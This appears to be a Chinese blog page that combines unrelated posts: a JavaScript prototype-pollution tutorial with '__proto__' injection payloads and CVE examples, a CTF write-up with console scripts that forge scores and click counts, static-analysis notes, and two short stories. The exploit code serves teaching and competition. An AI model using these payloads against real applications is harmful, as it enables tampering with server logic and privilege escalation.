0%

1. 基础概念

JavaScript是一种基于原型的语言,每个对象都有一个原型对象(__proto__属性),对象从原型继承属性和方法。原型链是JavaScript实现继承的主要方式。

在 JavaScript 中,没有引入类这个概念,通常需要定义一个构造函数然后通过 new 操作符调用该函数来创建实例。而 JavaScript 中的继承关系则是靠一种叫做 “原型链” 的模式来实现的。

谈到继承,JavaScript 只有一种结构:对象。每个函数对象有 prototype 属性,而实例对象没有,但所有的实例对象(函数,数组,对象)都会初始化一个私有属性 __proto__ 指向它的 构造函数的原型对象 prototype。该原型对象也有一个自己的原型对象 __proto__,层层向上直到一个对象的原型对象为 null

1
2
3
4
5
6
7
8
function Person(name) {
this.name = name;
}

let p = new Person('Alice');
// p.__proto__ === Person.prototype
// Person.prototype.__proto__ === Object.prototype
// Object.prototype.__proto__ === null

原型链污染是指攻击者通过修改对象的原型属性,从而影响所有基于该原型的对象。当对象属性查找时,如果对象本身没有该属性,JavaScript会沿着原型链向上查找。

2. 常见场景

2.1 合并操作

1
2
3
4
5
6
7
8
9
10
11
12
13
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}

let obj1 = {};
let obj2 = JSON.parse('{"__proto__":{"isAdmin":true}}');
merge(obj1, obj2); // 污染了Object.prototype

2.2 复制/克隆

1
2
3
4
5
6
function clone(obj) {
return JSON.parse(JSON.stringify(obj));
}

let malicious = '{"__proto__":{"polluted":true}}';
let obj = clone(JSON.parse(malicious)); // 在某些环境下可能导致污染

2.3 属性赋值漏洞

1
2
let obj = {};
obj['__proto__']['polluted'] = true; // 直接通过__proto__修改原型

3. 常见运用

3.1 修改全局对象属性

1
2
3
4
// 污染后,所有对象都会继承污染属性
Object.prototype.polluted = true;
let obj = {};
console.log(obj.polluted); // true

3.2 覆盖内置方法

1
2
3
4
5
// 覆盖toString方法
Object.prototype.toString = function() {
return 'Hacked!';
};
console.log({}.toString()); // 输出"Hacked!"

3.3 影响模板引擎

许多模板引擎(如Handlebars, EJS等)会使用原型链查找属性,污染后可导致XSS或代码执行。

1
2
3
4
// 以EJS为例
Object.prototype.client = true;
Object.prototype.eval = function(x) { return eval(x); };
// 可能导致模板中的代码执行

3.4 影响Express等框架

1
2
3
4
// Express中的路由处理可能受到原型污染影响
Object.prototype.status = 404;
Object.prototype.body = 'Hacked';
// 可能导致所有路由返回404和'Hacked'

4. 防御措施

4.1 使用Object.create(null)

创建没有原型的对象:

1
2
let safeObj = Object.create(null);
safeObj.__proto__ = { polluted: true }; // 无效,因为safeObj没有原型链

4.2 避免使用__proto__

使用Object.getPrototypeOfObject.setPrototypeOf替代直接访问__proto__

4.3 安全的对象合并

1
2
3
4
5
6
7
function safeMerge(target, source) {
for (let key in source) {
if (key !== '__proto__') { // 过滤__proto__属性
target[key] = source[key];
}
}
}

4.4 使用Map代替Object

Map不会受到原型链污染影响:

1
2
let map = new Map();
map.set('__proto__', { polluted: true }); // 安全

5. 实际案例分析

Lodash CVE-2018-3721

Lodash的defaultsDeep函数存在原型污染漏洞:

1
2
const _ = require('lodash');
_.defaultsDeep({}, JSON.parse('{"__proto__":{"polluted":true}}'));

jQuery CVE-2019-11358

jQuery的extend函数在特定条件下可被用于原型污染:

1
jQuery.extend(true, {}, JSON.parse('{"__proto__": {"polluted": true}}'));

6. 总结

JavaScript原型链污染是CTF Web题目中常见的高级漏洞类型,理解原型链机制是关键。防御措施主要包括:

  1. 避免不安全的对象操作
  2. 使用无原型对象(Object.create(null))
  3. 对用户输入进行严格过滤
  4. 使用现代JavaScript特性替代危险操作

在CTF比赛中,遇到对象合并、克隆等操作时要特别警惕原型链污染的可能性,尝试通过污染全局原型来影响程序行为。

MiniL

1.麦霸评分

源代码——评分答案到标准即可以获得flag

miniL1(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 1. 从已知URL获取原始音频
fetch('http://127.0.0.1:49439/original.wav')
.then(response => response.blob())
.then(originalBlob => {
// 2. 创建表单数据
const formData = new FormData();
formData.append('audio', originalBlob, 'recording.wav');

// 3. 提交到评分系统
return fetch('/compare-recording', {
method: 'POST',
body: formData
});
})
.then(response => response.json())
.then(data => {
// 4. 显示结果
console.log("服务器响应:", data);
if(data.flag) {
alert("恭喜获取flag: " + data.flag);
} else {
alert("相似度: " + data.similarity + "% - " + data.message);
}
})
.catch(error => console.error('错误:', error));

使用Fetch API向指定URL发起GET请求,获取原始音频文件

1
.then(response => response.blob())

将响应转换为Blob对象(二进制大对象)

(Blob是JavaScript中表示二进制数据的对象,适合处理音频文件)

1
2
3
4
.then(originalBlob => {
// 2. 创建表单数据
const formData = new FormData();
formData.append('audio', originalBlob, 'recording.wav');

创建FormData对象(用于模拟HTML表单提交),将音频Blob添加到表单中,命名为”audio”

指定文件名为”recording.wav”(模拟用户录音文件)

1
2
3
4
5
6
  // 3. 提交到评分系统
return fetch('/compare-recording', {
method: 'POST',
body: formData
});
})

向系统的比较接口发送POST请求,请求体包含我们准备的FormData(即原始音频),这模拟了用户上传录音的过程

1
.then(response => response.json())

将服务器响应解析为JSON格式,服务器通常会返回相似度评分和消息

2.Clickclick

miniL2(1)

1.修改请求体中的amount值,在控制台执行修改后的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 在浏览器控制台直接发送请求
fetch('/update-amount', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
type: "set",
point: { amount: 100000 }
}),
credentials: 'include'
})
.then(response => response.json())
.then(data => {
if(data.success) {
console.log('成功完成100000次点击!');
}
})
.catch(console.error);

2.修改前端计数器并触发上报

1
2
3
4
5
6
7
8
9
10
11
12
const counter = Array.from(document.querySelectorAll('button'))
.find(btn => btn.__click).__click[1];
counter(100000);

fetch('/update-amount', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
type: "set",
point: { amount: 100000 }
})
});

miniL3

第一行是按下1000次,第二行按下10000出现,后台发现每50次发送一次请求,1000后响应错误,提示按钮过快。

前后端分离——原型链污染

每个对象拥有一个原型对象,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,并从中继承方法和属性,一层一层、以此类推。这种关系常被称为原型链 (prototype chain)。

当我们访问person的一个属性时,浏览器首先查找person是否有这个属性.如果没有,然后浏览器就会在person的proto中查找这个属性(也就是Person.prototype)。如果Person.prototype有这个属性,那么这个属性就会被使用。否则,如果Person.prototype没有这个属性,浏览器就会去查找Person.prototype的proto,看它是否有这个属性,依次类推。默认情况下,所有类的原型属性的proto都是Object.prototype。

js中,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。

miniL4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
async function exploit() {
const payload = JSON.stringify({
type: "set",
point: {
amount: 0,
__proto__: {
amount: 10000
}
}
});

try {
await fetch('/update-amount', {
method: 'POST',
headers: {
'Content-Type': 'text/plain'
},
body: payload
});
}

exploit();

What is PL and Static Analysis?

  1. purpose of Static Analysis

  • Program Reliability
  • Program Security
  • Compiler Optimization
  • Program Understanding
PLS1_1

Sound: overapproximate 往往都保证sound

Complete: underapproximate

compromise soundness (false negatives) 假阴性 ——漏报

compromise completeness (false positives) 假阳性——误报

  1. goal of Static Analysis

保证soundness的前提下,精度与速度达到平衡


定理知识

有些记忆即便散了形,却没有走远;有些名字,哪怕忘了声韵,也仍藏在心里最深最旧的地方。

去尘

陈宣铭回家的那天,天灰得像铺了一层旧宣纸,风一吹,胡同深处卷起几页红纸,上头印着“拆迁通知”几个大字,被贴得斑斑驳驳,像老画轴上的裂痕。

老宅终于要拆了。

三进四合的小院,住了四代人,从太爷爷起,到他这一代,砖石都浸过烟火的温度,门槛凹陷、石阶磨亮,仿佛是岁月亲手雕的。

父亲站在老宅门前吆喝着工人搬东西,母亲也忙里忙外,把物件一样样装进纸箱。惟有太爷爷,坐在木椅上,一动不动,像房梁上悬着的老匾,“静水流深”四字早已褪色,但仍能辨出笔锋深峻。

他叫陈永墨,今年九十有五,脑中记忆早已错乱,医生说是阿尔兹海默症。家人也都习惯了他那些似是而非的喃喃自语。

那天,风穿过槐树的枝桠,吹得光影在地上乱晃。太爷爷忽地开口了,声音虚弱却清晰:

“……雨亭……三月初七……练字簿……”

陈宣铭听得清清楚楚。他早习惯了这些像谜一样的词句,它们在太爷爷的嘴里反复出现,像旧唱片卡带时的回音。但今天,他忽然觉得这几个词并不陌生。尤其那个“雨亭”——他记得小时候就常听太爷爷念这个名字,像一首私藏的老诗,念到动情时还会掉眼泪。

院里堆满了物件。旧书箱、泛院子里堆满了纸箱、被褥、老照片、泛黄的信封。大家都忙的不可开交,父母忙着清点物件,陈宣铭则被差遣去阁楼收拾东西。

抹去物件上的积灰,几代人尘封的记忆都随着这些物件被再次展开,阁楼是老宅最昏暗的角落,灯泡昏黄如豆,尘土厚得能写字。陈宣铭蹲在一排纸箱前翻找,摸出一只包着蓝布的扁盒。打开,里面是一叠老照片和一本薄薄的练字簿。

封面干净,只写着四字:“陈照青书”。

那字沉稳中透着锋芒,不是讲究形式的漂亮,而是字如其人,藏锋蓄势,像是刻在心口的东西。

他往后翻。第一页写着“仁义礼智信”,接下来是“悬壶济世”“以书修身”……越往后,字迹越见情绪,如一人执笔难抑心潮——“万骨归尘,其心照青”“背影如山,音容不弃”。

这哪里是练字,更像是将悼念写进了纸页。

最后一页,是一张素描速写:屋檐下,一位女子抱着婴孩站立,旁边空着的位置,勾出了一个站立的男性轮廓,唯独脸未画,只空出一片干净的留白。那空白仿佛比任何笔触都来得沉重。

那一页中,还夹着一个小布袋。陈宣铭打开,抖出一块金属腰牌。已经断裂,却还能拼合。上面是刀刻的两个名字:

“林雨亭”“陈照青”。

他怔住了。“雨亭”——正是太爷爷常念的那个名字。

他捧着练字簿下楼,穿过光与尘的交界。太爷爷还坐在藤椅上,眼神漂浮着,像在找寻什么早已失落的影子。

“太爷爷,”他蹲下,把簿子轻轻放到老人腿上,“您看这个。”

太爷爷没有立刻回应。他低头,看到封面时,指尖微微颤抖。良久,他伸出干枯的手,轻轻抚过那四个字——“陈照青书”。

他的喉结动了动,没有说话,眼中却涌出一种复杂的神情:不是震惊,也不是伤感,更像是一种怀念——一种极深的、已被岁月磨平了棱角的怀念。

像隔着漫长的河望向一座旧桥,知道它已塌,却仍能记得当初走过时的每一个脚步声。

傍晚时分,屋里响起电视天气预报的声音,说北方有一股寒流要来。风穿过院中枯枝,吹得槐树哗啦啦作响,像是一种回应。

直到晚饭时,太爷爷忽然抬头,问了句:“今天是……几月几号?”

“十月一号。”陈宣铭答。

太爷爷好似没有听见,顿了几秒,又问:“……三月初七过去了?”

“还早呢。”

“哦。”

说完这句,他似乎又忘了自己说过什么,拿起筷子吃饭,像个普通的老人,过着一天是一天的日子。

可陈宣铭知道,有些记忆即便散了形,却没有走远;有些名字,哪怕忘了声韵,也仍藏在心里最深最旧的地方。

追忆

练字簿的纸张泛着黄,边角毛糙,一触即碎。陈宣铭小心地翻阅着,在那些笔锋克制的行书之间,试图拼凑出一段埋藏已久的往事。

他在一页纸缝间找到了一张细长信纸,折痕清晰,上面用毛笔写着:

“余本书匾之人,偶交良友,名曰雨亭,字歇之。曾于斜月之下,杯酒交心,题字结义。岁初,雨亭别我于城南门。后得讣报,心如枯井,遂有此文。”

信纸背面附了一首小诗,落款为:“照青”。这一刻,他确信,练字簿并非练字之物,更像是一份夹缝中保存下来的家族记忆。

那年,1937年冬。战事焦灼,山东境内的台儿庄暗流涌动。

古巷的一间药铺挂着牌匾:“仁德堂”。横匾上“悬壶济世”四字,笔锋稳健,字势平和,正是陈明远五年前为仁德堂所书。那时,他不过三十出头,娶妻沈素秋,育有一子,名永墨,尚在襁褓。街坊皆言:“照青字稳如人,端是个坐得住匠台的文人。”

药铺主人林雨亭原是江南人,习医数载,为人雅重,文理俱通,与明远一见如故。两人常在铺后小院,执壶对饮,谈字论志。一次微醺之夜,林雨亭笑言:“世人皆言你匠气太盛,余却以为你笔下有骨。”明远不语,只斟酒回敬。

那夜,他们以铜牌为信物,在月光下刻上彼此姓名,将半生交情熔于方寸之间。林雨亭说:“若有一日,我先上前线,此物便作信证。”话虽轻,却藏沉意。

直至那年冬末,一纸失守的消息传来,街头人声鼎沸,有人哭,有人咒骂,有人挥着报纸四处奔走,人心惶惶,不得安宁。仁德堂后院,林雨亭看完报纸,把它叠整齐了,叹道:“该去了。”心中暗暗下定了决心。临走前,仍是来找明远。

二人坐在药铺后院的枯藤架下,夜色如墨。陈明远手握酒杯,目光呆滞。

“你若走了,仁德堂怎么办?”

“药可再开,命却不能复生。”

“你一人能救几人?”

林雨亭没答。他只是将一块铜腰牌从衣襟里解下,用小刀刻字。那刀口划破金属,发出细碎的声响。明远认得,那是他们曾在月夜结义所制的信物。

“你还记得那夜我们说什么?”

“记得,”明远苦笑,“你说你是医者,我是书匠,一个救人,一个传志。”

“如今救人需以命救。”

他将牌一分为二,半块递来:“若我不回,你替我告知家中老母,便说雨亭战死,不辱所学。”

陈明远没伸手。他低着头,盯着那枚半牌良久。手心冒汗,喉咙发涩,却一句劝留都说不出口。

林雨亭拍拍他的肩,转身离去。

天晴,风硬。陈明远没有送,只在铺门口站了一会儿。那一刻,他忽觉这世界安静得过分,像是连风声都知该肃穆。

半月后,军部派人送来半块牌,是雨亭最后的嘱托。无言无字,仅半块腰牌。明远望着那洇着血迹的牌,在屋里坐了一夜。屋外春风拂墙,屋内却冷如深冬。他没哭,也没怒,只一遍遍翻看那牌。铜牌上“雨亭”两字被血腐蚀过,色泽暗沉。

半响,他提笔在练字簿上写下一段祭文。写至“世有医者仁心,志洁行峻,临危无惧”,笔锋顿住。他在“惧”字上凝视许久,笔一落,墨水却意外洇开,晕出一大团浓黑,如心头突落长夜。那是他人生第一次失笔。他盯着那团污迹很久,像在自问:是你怕死,还是你信着“文人不涉血”那一套?

窗外雨打芭蕉,沈素秋将幼子抱入屋中,柔声道:“很晚了,早些休息吧。”他向妻子致意,却没有停笔,只在末页画下三人:妻、子,到自己的时候,轮廓仅淡淡一线,任那一片留白随风干枯。

夜深时,他摸出那半块铜牌,缝入襁褓之中。孩子在梦里咕哝,他轻声道:“这世间若有信与义,便藏在你身上。”

三月初七,晨光微冷。陈明远在纸上蘸墨许久,提笔却一再顿挫。他反复折了三次信纸,每一处都留下了指痕。屋里太静,素秋早起去烧水,小儿睡得安稳。

他写了一封信,字如人心,稳而有力:

【家书】

素秋启:

吾心不宁,笔落如灰。昨夜梦中见歇之,说“战火纷飞,岂可独生”。醒后衣衫皆湿,不知是汗是泪。

吾知你素来念我一介书生,握笔多过执刀,言平则安,非杀成仁。然今日国破家危,我若仍坐堂前写字,夜饮而眠,何颜对雨亭,何颜对后世。

我将启程,意向台儿庄会师。若幸存归来,自当再执笔临帖,教永墨写字识人。若不归,唯愿母子二人,平安顺遂。

若我未回,纸墨留志,愿他将来识得“仁义”二字,不辱我今日一念。

勿念,勿念。

明远顿首

三月初七 寅时

信纸压在练字簿封底,与那幅简笔全家福并列。他用一根细绳将两者系紧,放在书案角落。

天亮时,他悄悄推开门,只背着一只帆布包,穿的是陈旧蓝布长衫,干净却并不挺括。唯独袖口,缝了一个黑线细字:“照青”。

他走得很慢,像怕惊扰了谁。到了巷口,转身望了一眼宅门。

风起,发角微扬。陈明远站了一息,便转身快步离开。

自此音讯断绝。

回忆止于纸上,但纸下的情绪却沉甸如铁。陈宣铭合上练字簿,但历史的余温仍在萦绕。窗外正是雨夜,雨水敲在窗沿,像某种远去的回响。太爷爷陈永墨坐在沙发上,闭着眼,轻轻地呢喃:“雨亭……三月初七……”

声音极轻,如风拂陈瓦。

他终于明白,太爷爷一直念着的“三月初七”,不是生日,不是纪念日,而是一段选择——父亲放下笔,拿起国仇的日子。

或许,太爷爷并非真的忘了。只是岁月太深,记忆的线断了。但那一页练字,那半块铜牌,那幅没有脸的素描,仍牢牢系住了他一生的疑问。太爷爷低头摩挲着练字簿,目光落在那幅“无面”的画上。光影落在他脸上,模糊了褶皱,也模糊了他眼角泛起的一点微光。

他没有哭,只长长叹了口气。那叹息里,是错过的团圆,是未竟的信诺,也是两个时代,跨越八十年的沉默回应。

晨光

国庆阅兵那天,天刚放亮,陈宣铭便将太爷爷从房间里扶到客厅来。老人一向不爱看电视,这次却在得知要看“升旗、阅兵”后,表现出了罕见的配合。他还特意穿了一件扣子齐整的中山装,袖口泛白,却熨得平整。

电视画面缓缓推进,国歌响起的那一刻,整个屋子都安静了。陈宣铭正要转头和太爷爷说话,却见他整个人笔直地坐着,仿佛背后撑着一根看不见的脊梁骨。

红旗升起,整齐步伐如铁浪奔涌。老人的眼中似有光在流动,嘴唇微张,像是在低声重复着什么。陈宣铭仔细听,依稀辨得出——

“雨亭……三月初七……练字簿……”

他轻轻点头,心里明白,那段刻在记忆深处的名字、日子、书册——今日终于找到了回应。

阅兵进入装备方阵部分时,镜头扫过几位坐在观礼台的老兵,其中一位穿着灰蓝色旧军装,胸口挂满勋章,面容坚毅。陈永墨的眼神瞬间定住,几秒后,像是缓慢地醒过神来。

那一刻,陈宣铭看见的,是一个失语已久的老人,忽然找回了属于自己的一部分。

他没有流泪,也没有颤抖,只轻轻将手覆在了膝头的练字簿上,像是安抚,又像是道别。

电视里传来解说员的声音:“让我们向所有为国捐躯的英烈,致以最崇高的敬意。”

陈宣铭站在电视旁,望着祖父,忽然想起几日前从那本练字簿中翻出的那张简笔画:母亲抱着婴孩,站在门前,而站在远处的那个人——至今没有脸。

“太爷爷。”他轻声唤。

老人偏了偏头。

“您……会怪他吗?”

沉默半晌,陈永墨缓缓开口,声音低哑却有力:

“年轻时……怨过。”

他停顿了一下,眼神落在屏幕上正步行进的兵列中。

“可他走那天……天特别亮,像是他一生中最光明的一次选择。”

陈宣铭看着太爷爷,有些愣住。他没想到,在病痛与遗忘交替支配的思绪里,祖父还能保留住那份对父亲选择的理解与认同。

“我们陈家……没留下多少财物。”老人继续说着,目光望向窗外,“但那块腰牌,那幅练字,那张没脸的画……够了。”

这一句话,像是砸进了陈宣铭的胸口。他的眼眶一热,脑海中浮现出那些被名字埋没的普通人,也许还有很多的“雨亭”,和数不尽的“明远”,他们不是英雄传记里的主角,却都是这片土地得以站起来的根。

阅兵接近尾声,军乐高奏,战机飞掠天幕。窗外阳光灿烂,有鸟鸣从远处传来,细细碎碎,却那么鲜活。

陈永墨忽然笑了,笑得温和。他抬头看了眼电视,又看向身边的陈宣铭。

“我老了,记不住多少事了。”他说,“但这骨子里的气节不能忘。”

“嗯。”陈宣铭轻声应着,“我记住了。”他知道,有些信念,终能穿越尘封岁月,抵达当下。

那天夜里,陈宣铭坐在书房,将练字簿一页页地扫入电脑,逐字逐画地录入。他知道,这些文字、这些墨迹,虽然粗朴简单,却是祖父和曾祖父留下的民族记忆。

不是为了写进历史书,只为留给后来人——告诉他们:

在最暗的时刻,有人曾提笔为剑,有人曾奔赴无名的战场。

正是那些无名的人,才铸起了今日万家灯火、国旗飞扬。

《归藏》者,藏之归也。

会场灯光明亮,水晶吊灯在头顶闪烁,映出一张张凝神屏息的脸。红木讲台后,拍卖师身着剪裁得体的西装,手持拍槌,语速飞快地介绍着下一件藏品。台下座无虚席,竞拍者们或举着号牌,或低声交流,神情紧张而期待。

终于,到了本次拍卖会的重头戏。

陆怀远缓缓抬头,指尖摩挲着苏富比拍卖目录,封面上那尊羊首铜像的浮雕轮廓被灯光映得忽明忽暗。他已经不记得这是第几次参加这样的拍卖了,但这一场,却格外沉重。他的目光落在展台中央,白布揭开的一刻,全场顿时安静。铜光闪烁,羊首端庄肃穆,眼眸中似含未尽之泪,仿佛穿越百年硝烟重现于世。

拍卖师微微一笑,抬手挥过展台:“本场重器,清乾隆时期羊首铜像一尊,起拍价——五十万英镑。”

他声音一落,角落里霍华德伯爵靠着拐杖缓缓站起。他身形颀长,神态悠闲,身后站着的年轻代理人举起号牌:“六十万。”

“七十万。”有东南亚口音的买家也随即出价。

陆怀远一顿,彷佛在思忖着什么。

一旁,陆明昭坐得不甚耐烦,低头刷着手机,时不时瞥父亲一眼,眼神里藏着焦急。他低声说道:“爸,再犹豫就来不及了。您不是说这东西意义重大吗?”

陆怀远皱起眉,眼神开始变得复杂。他的思绪忽然被一缕雪茄烟香牵走,转头看见霍华德伯爵正在慢悠悠地吐烟,脸上挂着似笑非笑的表情。那神情,令他猛然回忆起1993年香港佳士得秋拍——那年,一尊西周青铜鼎被日本商人拍走。

“爸。”陆明昭又轻唤了一声。

“八十万。”陆怀远举起号牌,他的声音有些低沉,仿佛是在对自己交代。霍华德微微一笑,尚未开口,他的代理人已然不动声色地举牌:“一百五十万。”

“二百万!”现场爆出一阵轻微惊呼,节奏陡然紧张。陆怀远的眼皮一跳,忍不住握紧手中的银杏木号牌。他手上的和田玉扳指在灯下泛着温润的光,是他恩师临终时留下的旧物,扳指上的螭龙纹,被他指腹来回摩挲。

“爸,不能停。”陆明昭声音低而坚定,“这不只是拍卖,是立场。”

“陆先生该不会连三百万都拿不出吧?”霍华德掀开怀表盖,轻轻晃了晃,链子末端吊着一枚纪念金章,熠熠生辉,“这可比他们当年从圆明园运回伦敦的费用都低。”

话锋冷嘲又含威慑。

拍卖价已飙至三百二十万,仍未见尽头。陆怀远手微颤,再次举牌。

“三百五十万。”拍卖师毫不迟疑地重复,现场鸦雀无声。

“爸!”陆明昭的嗓音提高了些,“别再犹豫了!我们不是来观望的。”

陆怀远却没有再举牌。他眼神凝重,望向那尊铜像。他退回座位,身子靠进椅背,一言不发。

“陆先生,不再继续出价吗?”拍卖师彬彬有礼地看着他,全场目光聚焦。

他摇了摇头。

陆明昭惊愕地望着父亲:“你放弃了?”

没有回答。

“你说过文物无价,你说过要把它带回国——可你现在在干什么?”他的声音压低,但满是失望与怒气,“你根本不想拿它回来,对吧?你怕了?不愿意拿这么多钱出来是吧?就守着你那破公司吧”

陆怀远转头望着儿子,眼里掠过一抹难以言说的情绪,终究没说出一句解释。

陆明昭站起身,拿起西装外套大步离去。那背影,像极了二十年前的自己——年轻、愤怒、不顾一切。

拍卖会还在继续。铜槌落下的一刻,霍华德伯爵轻轻点头,脸上依旧挂着那抹不动声色的笑意。他抬手接过代理人递来的香槟,轻轻一碰杯,仿佛为这场戏画下一个完美的句号。

陆怀远依旧坐着,目光落在台上那尊羊首铜像上,眼神深沉而幽远。他的手指仍在摩挲玉扳指,像是在抚摸一段早已尘封的过往。

伦敦午夜,得令人窒息。厚重的夜幕压在宫墙之上,一只红外摄像头在微微摇头,而它所捕捉的画面中,一抹黑影正沿着雨水管滑入地宫深处。

陆明昭的夜视镜闪过幽红,视野里通风管道锈蚀斑斑。老鼠从一张残破古卷上跃过。没人知道,这页佛经残章,是某位英籍勋爵从敦煌莫高窟私运出来的真迹,如今却躺在金库废气口下,任鼠牙啃噬。

“真是浪费。”陆明昭咬牙,手指快速调整着登山绳的速降器。脚下的防弹玻璃展柜泛着森冷光泽。

他蹲下,输入提前偷录下的指纹模板,锁“咔哒”一声解开。

展柜开启的瞬间,那是沉睡在百年岁月中的气息,是火与水共同浸泡的气味,是圆明园大火后遗物烧焦却未灭的余温。

铜羊首静静伫立,眼窝内嵌黑曜石,凝视着半空中的什么。他伸手欲取,一道红外线网格骤然亮起,墙面宛如蛛网闪出警戒线条。

警报声刺破静夜。

地宫铁门猛地开启,两个穿制服的保安将陆明昭摁倒在地,他被死死按在编号“1840”的铁箱上。他挣扎,却抬眼一看——霍华德伯爵正缓缓踱步而来,身后拖着披着天鹅绒的推车,拐杖在石地板上敲出不紧不慢的节奏。

“年轻人真有意思。”霍华德微笑着,俯下身看向陆明昭,“你父亲知道吗?”

“你根本不配拥有它。”陆明昭怒吼。

伯爵耸耸肩,转头看向那只羊首:“我?我当然不配。但它现在是我的,你抢不走。放在金库一角,没人欣赏,也没人打理。你看这潮湿的空气、闭塞的空间,那些东方的神灵和信仰,不就是这样慢慢腐蚀掉的吗?”

“你知不知道它意味着什么?”

“当然。”霍华德冷笑,“它意味着——在你们一部分人眼里,这玩意儿是祖国的伤疤,是民族的情感勒索。而我,只是想从中赚一笔爱国税而已。”

这时,一道浑厚的声音从门口传来:

“你这一笔,赚不到了。”

陆怀远缓步走入金库,目光从羊首掠过,最终落在儿子的脸上。

霍华德摊开手,嘲讽地一笑:“你不在拍卖会上出手,很令我惊讶啊。你的民族情怀呢,你的大义呢?这不是你们黄种人最重视得吗?”

陆怀远没有理他,只是走到展柜边。羊首静静伫立,铜胎上微弱的光芒像是来自另一个朝代的注视。半响,他盯着霍华德看着,微怒。

“我说了,我不在乎这玩意儿。”霍华德耸肩,“你们在乎罢了。”

“我们在乎。”陆明昭忽然开口,“你不配碰它。”

“可惜你父亲连碰它的勇气都没有。”伯爵嘴角一弯,“所以现在它还是我的。”

陆怀远轻轻转头,眼神在黑夜中异常清澈:“不,它不是。”

“文物的归属从不随着买卖而流动。你们抢走的不过是躯壳,我们的历史我们的记忆,你们永远无法抢走,也永远无法抹去。‘大音希声,大象无形’,你们抢走了什么自己都不知道。但我们会永远记得。”

“顺便提一句,这笔买卖没成,你的上家好像不太满意呢。”

霍华德噤声。

陆怀远紧了紧前襟,拍了拍儿子的肩:“我们走。”

“就这么走?”霍华德冷笑,“不打算抢走它?”

“抢?我们还是不要同流合污了。”陆怀远淡淡道,“其实只要我们记得自己得来时路,记得那些过去,它还与不还都不那么重要了。”

陆明昭望着父亲,目光复杂。他想说些什么,嘴唇却微微颤动。

就在他转身的那一刻,霍华德忽然笑道:

“喂,陆先生——”他挥挥手,“既然没能从你这敲出钱,那这铜像……送你了。”

陆怀远站住,回头望向他。

“就当是我承认错误吧。”霍华德戏谑地笑着,“反正它对我而言,只是一块破铜,留久了更卖不掉了。”

说完,他示意保安打开玻璃罩,将羊首铜像连同底座交到陆怀远手中。

那一刻,地宫沉默。仿佛连地下管道中的水滴声都凝固了。

陆明昭望着父亲细心捧起的动作,忽然意识到,这一块铜,不仅是流失的国宝,也是一段代际传承中,被沉默和误解压抑太久的信仰。

船离伦敦港已有六小时,甲板上风声猎猎,低沉如海兽的呼吸。凌晨四点,天色尚未泛白,甲板尽头孤零零立着一张金属桌,桌上覆着深灰色绒布,放着专业的玻璃盒,羊首安静地伫立其中。

陆明昭倚着栏杆,脚边搁着一瓶没开封的可乐。他已经盯着铜像看了半小时,却始终没有开口。

父亲陆怀远走来,在他身边坐下,取下手套,用酒精棉仔细擦去盒子表面附着的盐霜。

陆明昭终于没忍住,低声说,“我……突然觉得我们赢得不光彩。”

“怎么说?”

“我们没抢,也没买,是他扔给我们的——像扔给乞丐一块吃剩的骨头。”

陆怀远沉默了一会儿,将手中的棉球扔进密封袋:“我年轻时,也这么想过。”

“后来呢?”

“后来我明白,真正尊严不是靠抢,也不是靠恨。”他顿了顿,“是靠你自己活得比他强。”

陆怀远望着远方黑海一线,“文物不是战利品,也不该是被人用来吊我们情绪的诱饵。外国人不在乎它——但他知道我们在乎。他拿着这东西当鱼钩,钓的不仅仅是钱,是情绪,是失控。”

陆明昭低头“我懂了”,又自嘲地笑了笑说“我那晚真的想抢走它。”

“我知道。”陆怀远看他一眼,“但你没抢成。”

“你知道我失败还去接我?”

“我怕你真抢成了。”

两人都笑了。

船舱内传来低低的引擎声,一只信鸽从桅杆上振翅而起,掠过黑暗天幕。片刻后,陆明昭突然问:“爸,你说我们为什么要在乎这些东西?”

陆怀远没立刻回答。他缓缓站起身,走到桌前,轻轻按住羊首底座。

“你知道这铜胎里为什么有裂纹吗?”

“火烤?”

“不是,是水。大火烧圆明园时,有人用井水往文物上泼,想救下一点,就这一点。”他说,“但水和火一起,铜就碎了。”

“那……还救吗?”

“当然救。因为再碎,它也是我们的历史。”

陆明昭静了许久。

“所以我们不是要让他们赔,而是要让自己配。”他像是自言自语,“配得起拥有它。”

陆怀远点了点头。

“我们要追索文物,不是为了复仇,而是为了修复历史地伤痕。”

“可那历史那么痛。”

“是。”陆怀远望着渐亮的东方天色,“所以才值得被铭记。你不记住它,别人就会重新改写它。”

船身微微一震,清晨的第一缕阳光从海平面缓缓升起,照在铜羊首的面孔上。那张古老的兽面仿佛重新苏醒,在沉默中吐出被压抑百年的低语。

“爸。”陆明昭说,“我知道我未来想做什么了。”

父子相视一笑,鱼肚白泛起地红光愈演愈烈。

“准备好了?”陆怀远笑。

陆明昭望着远方升起的朝阳,深吸一口气。

“我准备好了。”他说。

风在身后掀起桌布一角,铜羊首依旧伫立,黑曜石的眼中第一次倒映出东方光芒。

十年后,初春的北京,风从永定河畔穿过,一如记忆中圆明园断墙残垣间吹过的寒意。

陆明昭站在实验室的白光下,摘下护目镜。他的眼角已有淡淡的细纹,神情却比十年前更加沉静。他面前的,是一尊刚刚完成表面钝化处理的宋代铜佛像,断裂的指节已由他团队使用高精度3D扫描重建,并以离子束刻蚀还原了流失的纹理。

“陆老师,这尊佛像的刻字残损区找到了隐约的‘乾道元年’字样,我们是否要重建年款?”

身后的学生低声问。

他没有立刻回答,只伸手调出激光扫描仪的图谱,放大图像。在微米级纹理中,那几个字确实模糊得几近消失,却又未完全抹去。

“这不是为了让它完美。”他说,“是为了让它留下时间走过的痕迹。”

学生点头记下,转身离去。

他看着那佛像的眼睛,像是看见了十年前苏富比拍卖厅中,那尊铜羊首流转着沉默的光。他知道,那些文物真正的归属,不在某次出价成功的手中,而在千百次显微镜下的细致观察、在一次次数字还原与保护中的坚持。

手机振动轻响。

屏幕上,一封来自伦敦的电子邮件悄然跳出,抬头依旧熟悉:“Sotheby’s Private Invitation”。

